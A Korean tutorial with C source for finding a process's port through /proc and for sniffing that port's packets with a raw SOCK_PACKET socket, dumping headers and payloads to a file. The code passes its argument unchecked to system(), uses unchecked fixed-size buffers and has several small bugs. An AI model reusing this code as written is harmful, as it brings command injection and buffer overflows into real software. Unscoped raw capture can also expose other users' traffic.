IPv4에 관련된 /proc/net/tcp IPv6에 관련된 /proc/net/tcp6 파일을 통하여 현재 커널에서 관리 중인 소켓의 정보를 파악할 수 있습니다. (본 문서는 IPv4를 대상으로 설명합니다.) 다음의 /proc/net/tcp 파일의 정보인데 ssh 데몬(소켓번호:2177)에서 사용하는 소켓의 정보만 표현하고 다른 소켓 정보는 생략하였습니다.

 

[root@localhost net]# cat tcp

0: 0100007F:0016 0100007F:0BC9 01 00000000:00000000 02:0008A351 00000000     0 02177 2 c2253280 43 4 1 3 -1

 

위의 정보에서 진하게 설정된 부분이 주의 깊게 볼 부분입니다.

 

0100007F:0016 – 서버 측 네트워크 정보를 나타냅니다.

(hex 값을 10진수로 변환하면 127.0.0.1:22)

0100007F:0BC9 – 클라이언트 측 네트워크 주소를 나타냅니다.

(hex 값을 10진수로 변환하면 127.0.0.1:3017)

2177 – socket 번호 입니다.

 

(local network에서 local network으로 연결했기 때문에 서버와 클라이언트의 주소가 같습니다.)

 

 

4) Port 번호 알아내기 과정

프로그램 이름을 실행 인자로 받았을 경우 해당 프로그램을 실행시킨 후에실행된 프로세스가 사용하는 Port 번호를 알아내기 위한 작업의 과정을 종합하면 다음과 같습니다.

 

1. 실행 인자(프로그램 이름) /proc 디렉토리에 모든 /proc/PID/stat 파일의 프로세스 이름 정보를 비교하여 PID (프로세스 id) 정보를 알아냅니다..

2. 알아낸 PID(:1872)를 통해 /proc/1872/fd 의 소켓 파일 디스크립터에 링크된 소켓 번호(:2177)를 알아냅니다.

3. /proc/net/tcp 파일 정보에서 링크된 소켓 번호(2177)을 검색하면 해당 소켓번호의 소켓 정보를 통해 port번호를 알아낼 수 있습니다.0100007F:0016 에서 “0016” port 번호이고, 10진수로 변환하면 “0022” port번호임을 알 수 있습니다.

 

 

(2) Packet 헤더 정보 얻기

 

위의 방법을 통해 Port번호를 알아냈으면 이제 해당 Port 번호에 대한 패킷을 스니핑할 수 있습니다패킷 헤더 정보를 스니핑하기 위해서pcap 라이브러리를 사용하여 프로그램을 작성할 수 있지만본 문서에서는 공개된 라이브러리를 사용하지 않고 직접 시스템 콜을 이용하여 패킷의 헤더를 수신하는 방법에 대하여 알아보겠습니다.

 

1) Ethernet 헤더 열기

TCP, UDP packet의 간단한 구조는 Ethernet 헤더 - IP 헤더 – TCP 혹은 UDP 헤더 순으로 이루어집니다먼저 소켓 시스템 콜을 이용하여 네트워크를 통해 들어온 모든 패킷을 수신하는 방법에 대해 구체적으로 알아보겠습니다.

 

Ethernet 헤더 데이터부터 수신하기 위해서는 소켓을 다음과 같은 설정으로 오픈합니다.

 

sock = socket(PF_PACKET, SOCK_PACKET, htons(ETH_P_ALL));

 

리눅스에서 지원하는 모든 프로토콜을 처리하기 위해 socket 시스템 콜을 호출할 때 1번째 PF_PACKET을 줍니다다음은 리눅스에서 지원하는 프로토콜 패밀리에 대한 안내입니다.

 

프로토콜 체계

정의

PF_INET

IPv4 인터넷 프로토콜

PF_INET6

IPv6 인터넷 프로토콜

PF_LOCAL

Local 통신을 위한 Unix 프로토콜

PF_PACKET

Low level socket을 위한 인터페이스

PF_IPX

IPX 노벨 프로토콜

 

2번째 인자인 소켓 타입에는 SOCK_PACKET을 줍니다이 타입은 모든 패킷을 수신할 수 있도록 하는 소켓의 데이터 전송 타입입니다. (참고로 TCP SOCK_STREAM, UDP SOCK_DGRAM을 사용합니다.)

3번째 인자인 프로토콜에는 ETH_P_ALL 을 줍니다이 프로토콜은 Ethernet 프로토콜을 통째로 다룰 수 있도록 하는 프로토콜입니다위의 소켓을 통하여 데이터를 수신할 경우 Ethernet 헤더 데이터도 수신할 수 있게 됩니다.

 

2) IP 헤더, TCP 헤더 열기

1)에서 설정한 socket 함수를 통해 수신된 데이터는 Ethernet 헤더와 IP 헤더, TCP 헤더 등 내용까지 포함되어 있습니다. Ethernet 헤더 바로 뒤에 IP 헤더가 붙기 때문에 IP헤더를 읽어오기 위해서는 수신된 데이터에서 Ethernet 헤더의 크기만큼 포인터를 이동해야 IP 헤더정보를 읽어올 수 있습니다.

 

/* packetFirst 변수는 수신한 패킷의 선두 포인터 값을 가지고 있음 */

packetPointer = packetFirst;

/* Ethernet 헤더 크기만큼 이동 */

packetPointer = packetPointer + sizeof (struct ether_header);

struct ip *ip_header = (struct ip *) packetPointer;

 

2-1) ip_header 포인터 변수를 통해 다음과 같은 ip 구조체의 멤버변수 데이터를 얻어 올 수 있습니다.

 

/* 헤더의 위치는 “/usr/include/netinet/” 입니다 */

#include <netinet/ip.h>

 

ip_header->ip_hl          /* 헤더길이 */

  ip_header->ip_v;          /* 버전 */

ip_header->ip_tos;        /* type of service */

  ip_header->ip_len;        /* 전체 길이 */

ip_header->ip_id;         /* 식별id */

  ip_header->ip_off;        /* fragment 옵셋 필드 */

ip_header->ip_ttl;         /* time to live */

ip_header->ip_p;          /* protocol */

ip_header->ip_sum;       /* checksum */

  ip_header->ip_src         /* 출발 ip주소 */

ip_header->ip_dst;        /* 도착 ip주소 */

 

 

IP 헤더의 크기만큼 포인터를 이동하면 TCP 헤더 정보를 읽어올 수 있습니다. IP 헤더의 크기는 ip_header->ip_hl을 통해 알아낼 수 있는데 이 필드는 4비트 길이를 갖지만 단위가 4바이트 단위로 되어 있기 때문에 ip_header->ip_hl 값에 4를 곱해준 값이 IP 헤더의 크기가 됩니다일반적으로 특별한 옵션이 없는 한 ip_header->ip_hl의 값은 5입니다즉 이 값에 4를 곱하면 IP 헤더의 크기는 20바이트 크기인 것을 알 수 있습니다.

 

/* packetPointer 변수는 현재 IP 헤더정보를 가리키는 포인터 값을 가지고 있음 */

/* IP 헤더 크기만큼 이동 */

packetPointer = packetPointer + ((int)(ip->ip_hl) << 2); /* 곱을 쉬프트 연산으로 표현 */

tcp_header = (struct tcphdr *) packetPointer;

 

 

2-2) tcp_header 포인터 변수를 통해 다음과 같은 tcphdr 구조체의 멤버 변수 데이터를 얻어 올 수 있습니다.

 

/* 헤더의 위치는 “/usr/include/netinet/” 입니다 */

#include <netinet/tcp.h>

 

tcp_header->th_sport;        /* 출발지 port */

 tcp_header->th_dport;        /* 목적지 port */

 tcp_header->th_seq;          /* sequence 번호 */

 tcp_header->th_ack;          /* acknowledgement 번호 */

tcp_header->th_x2;           /* (unused) */

 tcp_header->th_off;           /* 데이터 옵셋*/

tcp_header->th_flags;         /* 제어 플래그 */

 tcp_header->th_win;           /* window */

 tcp_header->th_sum;          /* checksum */

 tcp_header->th_urp;           /* 긴급 포인터 */

 

 

TCP 헤더 이후에 오는 내용은 실제 데이터 부분이 됩니다.

 

2-3) UDP 헤더일 경우 udp_header 포인터 변수를 사용하여 다음과 같은 udphdr 구조체의 멤버변수 데이터를 얻어 올 수 있습니다.

 

/* 헤더의 위치는 “/usr/include/netinet/” 입니다 */

#include <netinet/udp.h>

 

udp_header->uh_sport;        /* 출발지 port */

 udp_header->uh_dport;        /* 목적지 port */

 udp_header->uh_ulen;         /* udp 길이*/

udp_header->uh_sum;         /* udp 체크섬*/

 

 

2-4) 다음은 TCP 헤더, UDP 헤더 뒤에 붙는 실제 데이터 포인터 위치를 가져오는 부분에 대한 설명입니다.

 TCP 헤더일 경우 TCP 헤더의 크기를 구하기 위해서 tcphdr 구조체의 th_off 구조체 변수를 사용합니다이 변수 값의 수치 단위는 4바이트이므로 4를 곱하여 tcp 헤더의 크기를 구합니다다음과 같이 현재 packetPointer 포인터의 위치를 tcp헤더의 크기만큼 옮기면packetPointer 포인터 변수는 실제 데이터의 선두 위치를 가리키게 됩니다.

 

packetPointer = packetPointer + ((int)(tcp->th_off) << 2);

 

UDP 헤더는 tcp헤더와 다르게 현재 packetPointer 포인터의 위치를 udphdr헤더의 사이즈만큼 옮기면 packetPointer 포인터 변수는 실제 데이터의 선두 위치를 가리키게 됩니다.

 다음과 같이 현재 packetPointer 포인터의 위치를 UDP헤더의 크기만큼 옮기면 packetPointer 포인터 변수는 실제 데이터의 선두 위치를 가리키게 됩니다.

 

packetPointer = packetPointer + sizeof(struct udphdr);

 

(3) 프로세스가 사용 중인 Port 번호를 추출하는 소스 설명

 

다음 소스는 (1) /proc 디렉토리 분석 에서 언급하였던  /proc 디렉토리 분석을 통하여 프로세스에서 사용하는 port 번호를 추출하는 부분에 대한 소스코드입니다.

 

1 /*

      2    /proc/net/tcp 정보에서 소켓 device 값과 비교하여 해당 소켓의 port번호를

      3    얻어온다

      4 */

      5 int SockMapPort(char* ProcTcp, char* sockdevnum, unsigned short* processPortNum)

      6 {

      7         DIR *directory;

      8         struct dirent *entry = NULL;

      9         char buffer[256];

     10         char *parsing;

     11         char hexPortNum[40];

     12         int culcount;

     13         int linecount;

     14         int find;

     15         FILE *fp;

     16

     17         culcount = linecount = find = 0;

     18         fp = fopen(ProcTcp, "r");

     19         if (fp == NULL)

     20         {

     21                 perror("/proc/net/tcp(6) error");

     22                 exit(0);

     23         }

     24

     25         linecount = 0;

     26         while(fgets(buffer,256, fp) != NULL)

     27         {

     28                 if(linecount == 0)

     29                 {

     30                         linecount++;

     31                         continue;

     32                 }

     33                 culcount = 0;

     34                 parsing = strtok(buffer, ": ");

     35                 while((parsing = strtok(NULL, ": ")) != NULL)

     36                 {

     37                         if(culcount == 1)

     38                         {

     39                                 strcpy(hexPortNum, parsing);

     40                         }

     41                        

     42                         if(!strncmp(parsing, sockdevnum, strlen(sockdevnum)))

     43                         {

     44                                 /*puts("동일");

     45                                 printf("p %s s %s\n", parsing, sockdevnum);*/

     46                                 find = 1;

     47                                 break;

     48                         }

     49                         else

     50                         {

     51                         }

     52                         culcount++;

     53                 }

     54                 if(find) break;

     55         }

     56

     57         if(find){

     58                 *processPortNum = HexToDecimal(hexPortNum);

     59                 return 1;

     60         }

     61         else

     62                 return 0;

     63 }

     64

     65 unsigned short FindPortNum(char* processID)

     66 {

     67         DIR *directory;

     68         struct dirent *entry = NULL;

     69         char procBuff[40];

     70         char sockBuff[40];

     71         char retBuff[40];

     72         char *sockdev;

     73         char *sockdevnum;

     74         char ProcTcp[20];

     75         int ret;

     76         unsigned short processPortNum;

     77

     78

     79         sprintf(procBuff,"/proc/%s/fd", processID);

     80

        81         if ((directory = opendir(procBuff)) == NULL)

     82         {               

     83                 perror("/proc opendir error");

     84                 exit(0);

     85         }                      

     86                                

     87         while((entry = readdir(directory)) != NULL)

     88         {               

     89                 if (strcmp(entry->d_name, ".") !=0 && strcmp(entry->d_name, "..") != 0 &&

     90                         strcmp(entry->d_name, "0") != 0 && strcmp(entry->d_name, "1") !=0 && strcmp(entry->d_name, "2") != 0

     91                 {      

     92                         sprintf(sockBuff,"/proc/%s/fd/%s", processID, entry->d_name);

     93                         readlink(sockBuff, retBuff, sizeof(retBuff));

     94                         sockdev = strtok(retBuff, ":[");

     95                         if(strcmp(sockdev, "socket"))

     96                                 continue;

     97                        

     98                         sockdevnum = strtok(NULL, ":[]");

     99                         break;

    100                 }

    101         }      

    102

    103         sprintf(ProcTcp, "/proc/net/tcp");

    104         ret = SockMapPort(ProcTcp, sockdevnum, &processPortNum);

    105         if(ret == 0) // "/proc/net/tcp"에 정보가 없을 경우

    106         {

    107                 sprintf(ProcTcp, "/proc/net/tcp6");

    108                 SockMapPort(ProcTcp, sockdevnum, &processPortNum);

    109         }

    110        

    111         closedir(directory);

    112         return processPortNum;

    113 }      

    114        

    115 /*     

    116  * 프로세스 정보를 가져온다.

    117  * 그러기 위해서 /proc/[PID]/stat파일을 읽어들이고 이를

    118  * 필드별로 파싱한다파싱은 " "문자를 기준으로 한다

    119  * 또한 프로세스를 생성한 유저 이름도 얻어온다.

    120  */

    121 unsigned short FindProcInfo(char* process)

    122 {

    123     DIR *directory;

    124     struct dirent *entry = NULL;

    125     char proc_file[40];

    126     char proc_name[20];

    127     int processFlag = 0;

    128     unsigned short port;

    129

    130     if (IsDigit(process)) //process가 숫자이면

    131     {

    132             processFlag = 1;

    133     }

    134     else

    135     {

    136             sprintf(proc_name, "(%s)", process);

    137     }

    138

    139

    140     if(processFlag == 0) //실행인자가 프로세스명일 경우

    141     {

    142             system(process); //실행인자 프로그램을 실행 시킴

    143

    144             // proc 디렉토리를 열어서 파일(디렉토리포함)의 리스트를

    145             // 얻어온다.

    146             if ((directory = opendir("/proc")) == NULL)

    147             {

    148                 perror("/proc opendir error");

    149                 exit(0);

    150             }

    151

    152             while((entry = readdir(directory)) != NULL)

    153             {

    154                 if (strcmp(entry->d_name, ".") !=0 && strcmp(entry->d_name, "..") != 0)

    155                 {

    156                     sprintf(proc_file,"/proc/%s/stat", entry->d_name);

    157                     // stat 파일이 존재하는지 확인하고 확인하고

    158                     if (access(proc_file, F_OK) != 0)

     159                     {

    160                         continue;

    161                     }

    162    

    163                     // 디렉토리 이름이 숫자인지 확인한다.

    164                     // 디렉토리 이름이 숫자라면 이를 파싱한다

    165                     if (IsDigit(entry->d_name))

    166                     {

    167                         if(ProcParser(proc_file, proc_name)) //디렉토리가 프로세스의 디렉토리 정보인지를 확인

    168                         {

    169                                 port = FindPortNum(entry->d_name);

    170                                 printf("processName : %s\nport : %d\n", process, port);

    171                                 break;

    172                         }

    173                     }

    174                     else

    175                     {

    176                     }

    177                 }

    178             }

    179    

    180             closedir(directory);

    181     }      

    182     else //실행인자가 프로세스id일 경우

    183     {      

    184             port = FindPortNum(process);

    185             printf("processID : %s\nport : %d\n", process, port);

    186     }      

    187                

    188     return port;

    189 }

    190          

191 /*                 

    192  * 파일이름이 숫자인지 확인한다.

    193  */

    194 int IsDigit(char *str)

    195 {

    196         int i;

    197         for (i = 0; i < strlen(str); i++)

    198         {

    199                 if (isdigit(str[i])==0)

    200                         return 0;

    201         }

    202         return 1;

    203 }

    204

    205  /*

    206  "/proc/pid/fd/stat"에서 프로세스명 정보를 비교함

    207  */

    208 int ProcParser(char *proc_file, char *proc_name)

    209 {

    210         FILE *fp;

    211         char buf[512] = {0x00,};    212         int pid;

    213         char *pname;

    214

    215         fp = fopen(proc_file, "r");

    216         if (fp == NULL)

    217         {

    218                 perror("error : ");

    219                 exit(0);

    220         }

    221

    222         fgets(buf, 511, fp);

    223         pid = atoi(strtok(buf, " "));

    224         pname = (char*)strtok(NULL, " ");

    225         fclose(fp);

    226         if(strncmp(pname, proc_name, strlen(proc_name)))

    227         {

    228                 return 0; //프로세스이름과 일치하지 않음

    229         }

    230         else

    231         {

    232                 return 1; //프로세스이름과 일치

    233         }

    234        

    235 }                                                                                 

 

 

 

 

1) 함수 요약 설명

FindProcInfo : 프로세스 id를 매개변수로 받았을 경우에는 바로 FindPortNum 함수에 프로세스 id를 넘겨 포트번호를 추출합니다.프로그램 명을 매개변수로 받았을 경우에는 프로그램을 실행시키고, /proc 디렉토리를 검색하여 ProcParser 함수로 프로세스 id를 알아냅니다이 프로세스 id를 FindPortNum 함수에 대입하여 port 번호를 추출합니다.

 

FindPortNum : 인수로 받은 프로세스 id를 토대로 /proc/pid/fd 디렉토리를 읽어들여 0, 1, 2 기본 파일 디스크립터를 제외한 파일 디스크립터 중에 심볼릭 링크된 값이 socket으로 링크된 디바이스 번호를 SockMapPort 함수에 매개변수로 넘겨 소켓의 포트 번호를 추출합니다.

 

SockMapPort : /proc/net/tcp나 /proc/net/tcp6 파일을 한 라인씩 읽어 들여 인자로 받은 디바이스 번호와 일치한 라인을 찾습니다찾은 라인의 3번째 필드 값이 포트 번호입니다이 값은 16진수로 되어 있기 때문에 10진수로 변환 후 포트번호를 리턴합니다.

 

ProcParser : 인수로 받은 /proc/pid/fd/stat 파일의 데이터에 프로세스 이름이 일치하는 확인하여 프로세스 id를 찾습니다.

 

IsDigit : 인수로 받은 str이 숫자인지 확인합니다.

 

 

2) 소스 해설

5 : SockMapPort 함수는  “/proc/net/tcp”나 “/proc/net/tcp6”을 가리키는 문자열과 소켓 디바이스 번호저장될 프로세스 포트 번호 변수를 인수로 받습니다.

18 : “/proc/net/tcp” 파일을 오픈합니다.

26 ~ 55행 : “/proc/net/tcp” 의 데이터를 한 라인씩 읽어들여 “:”로 토큰한 값 중에 소켓 디바이스 값과 일치하는지 비교하고일치하는 값을 찾으면 저장해 놓은 hexPortNum 값이 16진수로 표현된 포트번호입니다.

57 ~ 60행 : 16진수로 표현된 포트번호를 10진수로 변경합니다.

 

65 : FindPortNum 함수는 문자열로 표현된 프로세스 id를 인수로 받습니다.

79 : 프로세스id 문자열을 추가하여 “/proc/pid/fd” 문자열 값인 procBuf를 만듭니다.

81 : opendir 함수로 procBuff 디렉토리를 오픈하여 디렉토리 포인터를 directory 변수에 저장합니다.

87 ~ 101행 : readdir 함수로 directory 변수의 디렉토리 내에 있는 파일을 읽어 들입니다파일이름이 “.”, “..”, “0”, “1”, “2”를 제외한 파일을 readlink 함수를 사용하여 심볼릭 링크된 값을 retBuff에 저장합니다. retBuff에 저장된 값이 소켓 디바이스면 “socket:[802831]”로 표현되기 때문에 “:[]”로 토큰하여 중괄호 안에 있는 소켓 디바이스 값을 sockdevnum 변수에 저장합니다.

103 : “/proc/net/tcp” 문자열을 ProcTcp 변수에 저장합니다.

104 : 프로세스가 사용중인 포트번호를 추출하기 위해 SockMapPort 함수를 호출합니다.

105 ~ 109행 : 소켓 디바이스 번호와 맵핑 된 포트번호가 없으면 “/proc/net/tcp6”를 첫번째 매개변수로 SockMapPort를 재호출합니다.

111 : 오픈한 디렉토리를 닫습니다.

112 : 프로세스가 사용 중인 포트 번호를 리턴합니다.

 

121 : FindProcInfo 함수는 프로그램 명이나 process id를 인자로 받습니다.

130 ~ 137행 : IsDigit 함수를 사용하여 인수로 받은 process 값이 숫자인지 체크합니다숫자이면 프로세스 id이기 때문에processFlag 값을 1로 설정한다숫자가 아니면 프로그램 명이므로 나중에 proc/pid/stat와 비교 과정에서 프로세스 id를 알아내기 위해 프로그램 명에 “()”를 추가합니다.

142 : 인자로 받은 process 변수의 데이터가 프로그램 명인 경우에는 프로그램을 실행 시킵니다.

146 ~ 149행 : opendir함수를 사용하여 “/proc” 디렉토리를 오픈합니다.

152 ~ 178행 : “/proc” 디렉토리를 읽어 들여 ProcParser 함수에 “/proc” 디렉토리 내에

“/proc/pid/stat” 파일과 프로세스 이름을 매개변수로 넘겨 프로세스 id를 찾습니다프로세스

Id 를 찾으면 FindPortNum 함수에 프로세스 id를 매개변수로 넘겨 포트번호를 추출합니다.

180 : 오픈한 “/proc” 디렉토리를 닫습니다.

182 ~ 186행 : 인자로 받은 process 변수의 데이터가 프로세스 id 이므로  바로

FindPortNum 함수에 프로세스 id를 매개변수로 넘겨 포트번호를 추출합니다.

188 : 포트번호를 반환합니다.

 

194 ~ 203행 : 인자로 받은 str 변수의 데이터가 숫자 문자열인지를 체크합니다.

 

 

208 : ProcParser 함수는 “/proc/pid/fd/stat” 문자열을 가리키는 변수와 프로그램 명을 인자로 받습니다.

215 : “/proc/pid/fd/stat” 파일을 오픈합니다.

222 ~ 224행 : 오픈한 파일 포인터로부터 데이터를 읽어 들여 공백을 구분자로 2번 파싱합니다첫 번째 파싱하여 얻은 데이터는 pid이고두 번째 파싱하여 얻은 데이터는 프로세스 이름입니다.

226 ~ 233행 : 파싱하여 얻은 프로세스명(pname)과 프로그램 명(proc_name)이 일치하는지 확인하여 일치 여부를 반환합니다.

 

 

 

 

(4) Packet Header 추출하는 부분 소스 설명

다음 소스는 (2) Packet 헤더 정보 얻기 에서 언급하였던 소켓을 통해 ethernet 헤더부터 수신한 데이터를 분석하는 부분에 대한 소스코드입니다.

 

1 void packetCapture(unsigned short portnum, FILE *wfp)

2 {

3         struct ether_header *eth;

4         struct ether_arp *arp;

5         struct ip *ip;

6         struct icmp *icmp;

7         struct tcphdr *tcp;

8         struct udphdr *udp;

9         int s;

10         int len;

11         int c;                    // getopt()에서 취득한 문자  

12         char buff[MAXSIZE];       // 데이터 수신 버퍼                  

13         char *packetPointer;      // 헤더의 선두를 나타내는 작업용 포인터

14         char *packetFirst;        // 패킷의 선두를 나타내는 포인터     

15         char buf[BUFSIZE];

16         int i;

17         char data[BUFSIZE];

18

19         if ((s = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL))) < 0) {

20                 perror("socket");

21                 exit(1);

22         }

23

24         while (1){

25                 if ((len = read(s, buff, MAXSIZE)) < 0) {

26                         perror("read");

27                         exit(1);

28                 }

29                 /* Ethernet 헤더선두에 포인터를 세트 */

30                 packetPointer = packetFirst = buff;

31

32                 eth = (struct ether_header *) packetPointer;

33                 packetPointer = packetPointer + sizeof (struct ether_header);

34                 

35

36                 if (ntohs(eth->ether_type) == ETHERTYPE_IP) {

37                         ip = (struct ip *) packetPointer;

38                

39                         packetPointer = packetPointer + ((int)(ip->ip_hl) << 2);

40

41                         switch (ip->ip_p) {

42                                 case IPPROTO_TCP:

43                                         tcp = (struct tcphdr *) packetPointer;

44                                         if((portnum == ntohs(tcp->th_sport))

 || (portnum == ntohs(tcp->th_dport))){

45                                               

46                                                 print_ip(ip, wfp);

47                                                 print_tcp(tcp, wfp);

48                                                 dump_packet(packetFirst, len, wfp);

49                                                 printf("\n");

50                                                 sprintf(buf, "\n");

51                                                 fputs(buf, wfp);

52                                                 fflush(stdout);

53                                         }

54                                         break;

55                                 case IPPROTO_UDP:

56                                         udp = (struct udphdr *) packetPointer;

57                                         packetPointer = packetPointer

+ sizeof(struct udphdr);

58                                         if((portnum == ntohs(udp->uh_sport))

|| (portnum == ntohs(udp->uh_dport))){

59                                                 print_ip(ip, wfp);

60                                                 print_udp(udp);

61                                                dump_packet(packetFirst, len, wfp);

62                                                 printf("\n");

63                                                 sprintf(buf, "\n");

64                                                 fputs(buf, wfp);

65                                                 fflush(stdout);

66                                         }

67                                         break;

68                         }

69                 }

70         }

71

72 }

73

74

75

76 void dump_packet(unsigned char *buff, int len, FILE *fp)

77 {

78         int i, j;

79         char buf[BUFSIZE];

80

81         printf("Packet Dump:\n");

82         sprintf(buf, "Packet Dump\n");

83         fputs(buf, fp);

84         for (i = 0; i < len; i += 16) {

85                 // 16진수 덤프

86                 for (j = i; j < i + 16 && j < len; j++) {

87                         printf("%02x", buff[j]);

88                         sprintf(buf, "%02x", buff[j]);

89                         fputs(buf, fp);

90

91                         if (j % 2 == 1){

92                                 printf(" ");

93                                 sprintf(buf, " ");

94                                 fputs(buf, fp);

95                         }

96                 }

97

98                 // 제일 마지막 행의 끝 수를 정렬

99                 if (j == len && len % 16 != 0)

100                         for (j = 0; j < 40 - (len % 16)*2.5; j++){

101                                 printf(" ");

102                                 sprintf(buf, " ");

103                                 fputs(buf, fp);

104                         }

105                 printf(": ");

106                 sprintf(buf, ": ");

107                 fputs(buf, fp);

108

109                 // 아스키 문자 표시

110                 for (j = i; j < i + 16 && j < len; j++) {

111                         if ((buff[j] >= 0x20) && (buff[j] <= 0x7e)){

112                                 putchar(buff[j]);

113                                 sprintf(buf, "%c", buff[j]);

114                                 fputs(buf, fp);

115                         }

116                         else{

117                                 printf(".");

118                                 sprintf(buf, ".");

119                                 fputs(buf, fp);

120                         }

121                 }

122                 printf("\n");

123                 fputs("\n", fp);               

124         }                                      

125 }                                              

126                                         

127                                        

128 void tcp_ftoa(int flag, char *str)

129 {              

130         static char f[][3] = {"URG", "ACK", "PSH", "RST", "SYN", "FIN"}; //tcp플래그를 나타내는 문자

131         int length = 0;

132         u_int mask = 1 << 5;

133         int i;

134

135         for(i = 0;i<6;i++) {

136                 if (((flag << i) & mask) != 0)

137                 {

138                         strncat(str, f[i], 3);

139                         strncat(str, " ", 1);

140                 }

141                 else

142                 {

143                

144                 }

145         }      

146                

147         length = strlen(str);

148         str[length] = '\0';

149                        

150 }

151                        

152                                

153                                

154 void print_ip(struct ip *ip, FILE *fp)

155 {                      

156         char buf[BUFSIZE];

157         printf("Protocol: IP\n");

158         sprintf(buf, "Protocol: IP\n");

159         fputs(buf, fp);

160         printf("+-------------------------+--------+----------------+\n");

161         sprintf(buf, "+-------------------------+--------+----------------+\n");

162         fputs(buf, fp);        

163         printf("| Identifier:        %5u| TTL:%3u| Checksum: %5u|\n",

164                         ntohs(ip->ip_id), ip->ip_ttl, ntohs(ip->ip_sum));

165         sprintf(buf, "| Identifier:        %5u| TTL:%3u| Checksum: %5u|\n",

166                         ntohs(ip->ip_id), ip->ip_ttl, ntohs(ip->ip_sum));

167         fputs(buf, fp);

168         printf("+------------+------------+-------------------------+\n");

169         sprintf(buf, "+------------+------------+-------------------------+\n");

170         fputs(buf, fp);

171         printf("| Source IP Address:                 %15s|\n",

172                         inet_ntoa(*(struct in_addr *)&(ip->ip_src)));

173         sprintf(buf, "| Source IP Address:                 %15s|\n",

174                         inet_ntoa(*(struct in_addr *)&(ip->ip_src)));

175         fputs(buf, fp);

176         printf("+---------------------------------------------------+\n");

177         sprintf(buf, "+---------------------------------------------------+\n");

178         fputs(buf, fp);        

179         printf("| Destination IP Address:            %15s|\n",

180                         inet_ntoa(*(struct in_addr *)&(ip->ip_dst)));

181         sprintf(buf, "| Destination IP Address:            %15s|\n",

182                         inet_ntoa(*(struct in_addr *)&(ip->ip_dst)));

183         fputs(buf, fp);

184         printf("+---------------------------------------------------+\n");

185         sprintf(buf, "+---------------------------------------------------+\n");

186         fputs(buf, fp);

187 }

 

 

 

 

 

 

1) 함수 요약 설명

packetCapture : 소켓을 Ethernet 헤더부터 수신할 수 있는 옵션으로 오픈하고수신한 데이터를 각 헤더 별로 포인터 변수를 이용하여 분리합니다. Ip 헤더 포인터를 통해 ip를 체크하고, tcp 헤더 포인터를 통해 포트번호를 체크하여 print_ip, print_tcp, dump_packet 함수를 이용하여 각각의 헤더와 데이터 내용을 표준출력과 인자로 받은 파일포인터로 출력합니다. (파일명  :process_9553) – 숫자는 pid 나타냅니다.

 

- dump_packet : 16진수로 표현된 패킷의 데이터 버퍼의 내용을 ASCII 문자로 변환하여 표준출력과 인자로 받은 파일포인터로 출력합니다.

 

- tcp_ftoa : tcp 헤더 중에 제어 플래그 비트를 플래그 문자열로 변경합니다.

 

- print_ip : ip 구조체의 멤버변수를 표준출력과 파일 포인터로 출력합니다.

 

 

2) 소스 해설

1 : packetCapture함수는 포트번호와 수신한 패킷 데이터를 저장할 파일 포인터를 인자로 받습니다.

19 : 패킷의 Ethernet 헤더부터 수신 하기 위해 socket 함수에 SOCK_PACKET,  ETH_P_ALL옵션을 매개변수로 대입합니다.

25 : 오픈한 소켓을 통하여 데이터를 수신하여 buff에 저장합니다.

30 : Ethernet 헤더 데이터부터 읽기 위해 buff의 선두 주소와 packetPointer 포인터를 일치시킵니다.

32 : 현재 packetPointer 포인터 변수는 Ethernet 헤더 데이터를 가리키고 있기 때문에 ether_header 구조체 포인터로 캐스팅 하여ether_header 구조체 포인터인 eth 포인터 변수에 대입합니다.

33 : Ethernet 헤더 다음에 위치한 ip 헤더 데이터를 가리키도록 하기 위해 ether_header 구조체 크기만큼 packetPointer 포인터를 이동시킵니다.

36 : ethrnet 구조체 포인터인 eth의 타입이 ETHERTYPE_IP(IP타입)인지 확인한다. ip타입 이 외에 arp 타입인 경우도 있습니다.

37 : 현재 packetPointer 포인터 변수는 ip 헤더 데이터를 가리키고 있기 때문에 ip 구조체 포인터로 캐스팅하여 ip 구조체 포인터인 ip포인터 변수에 대입합니다.

39 : ip 헤더 다음에 위치한 tcp 헤더를 가리키도록 하기 위해 ip 헤더 길이만큼 포인터를 이동 시킵니다. Ip 헤더 길이는 ip 구조체의ip_hl 멤버 변수에 값을 4배 한 값입니다.

42 ~ 43 : ip 구조체 포인터인 ip의 프로토콜 타입이 TCP타입(IPPROTO_TCP)일 경우 현재 packetPointer 포인터 변수는 tcp 헤더 데이터를 가리키고 있기 때문에 tcphdr 구조체 포인터로 캐스팅하여 tcphdr 구조체 포인터인 tcp 포인터 변수에 대입합니다.

44 ~ 54 : tcphdr 구조체 포인터의 출발지 포트번호(th_sport)와 목적지 포트번호(th_dport)가 인자로 받은 모니터링 할 포트번호(portnum)와 일치하는지 확인합니다동일 포트번호를 담은 패킷 데이터이면 print_ip함수를 사용하여 ip헤더를 출력하고,print_tcp 함수를 사용하여 tcp헤더를 출력합니다. dump_packet 함수를 사용하여 수신받은 모든 버퍼의 내용을 16진수와 ASCII 값으로 표준출력과 파일 포인터로 출력합니다.

55 ~ 56 : ip 구조체 포인터인 ip의 프로토콜 타입이 UDP타입(IPPROTO_UDP)일 경우 현재 packetPointer 포인터 변수는 udp 헤더 데이터를 가리키고 있기 때문에 udphdr 구조체 포인터로 캐스팅하여 udphdr 구조체 포인터인 udp 포인터 변수에 대입합니다.

58 ~ 67 : udphdr 구조체 포인터의 출발지 포트번호(th_sport)와 목적지 포트번호(th_dport)가 인자로 받은 모니터링 할 포트번호(portnum)와 일치하는지 확인합니다동일 포트번호를 담은 패킷 데이터이면 print_ip함수를 사용하여 ip헤더를 출력하고,print_udp를 사용하여 udp헤더를 출력합니다. dump_packet 함수를 사용하여 수신받은 모든 버퍼의 내용을 16진수와 ASCII 값으로 표준출력과 파일 포인터로 출력합니다.

 

76행 : dump_packet 함수는 패킷 헤더와 데이터의 내용을 가리키고 있는 buff 포인터와 buff의 내용을 저장할 파일 포인터를 인자로 받습니다.

84 ~ 123행 : 16바이트를 간격으로 수신한 데이터 크기만큼 Ethernet 헤더부터 데이터 내용까지 16진수와 ASCII 문자로 표준출력과 인자로 받은 파일 포인터로 출력합니다.

 

128행 : tcp_ftoa 함수는 tcp 헤더의 제어 플래그 비트 값과 제어 플래그 문자열을 저장할 문자열 포인터를 인자로 받습니다.

130 : tcp 제어 플래그인 "URG", "ACK", "PSH", "RST", "SYN", "FIN" 문자열을 f배열에 저장합니다.

132 : Tcp 제어 플래그는 6비트로 표현되기 때문에 6번째 비트를 기준으로 AND 마스크할 변수를 정의합니다.

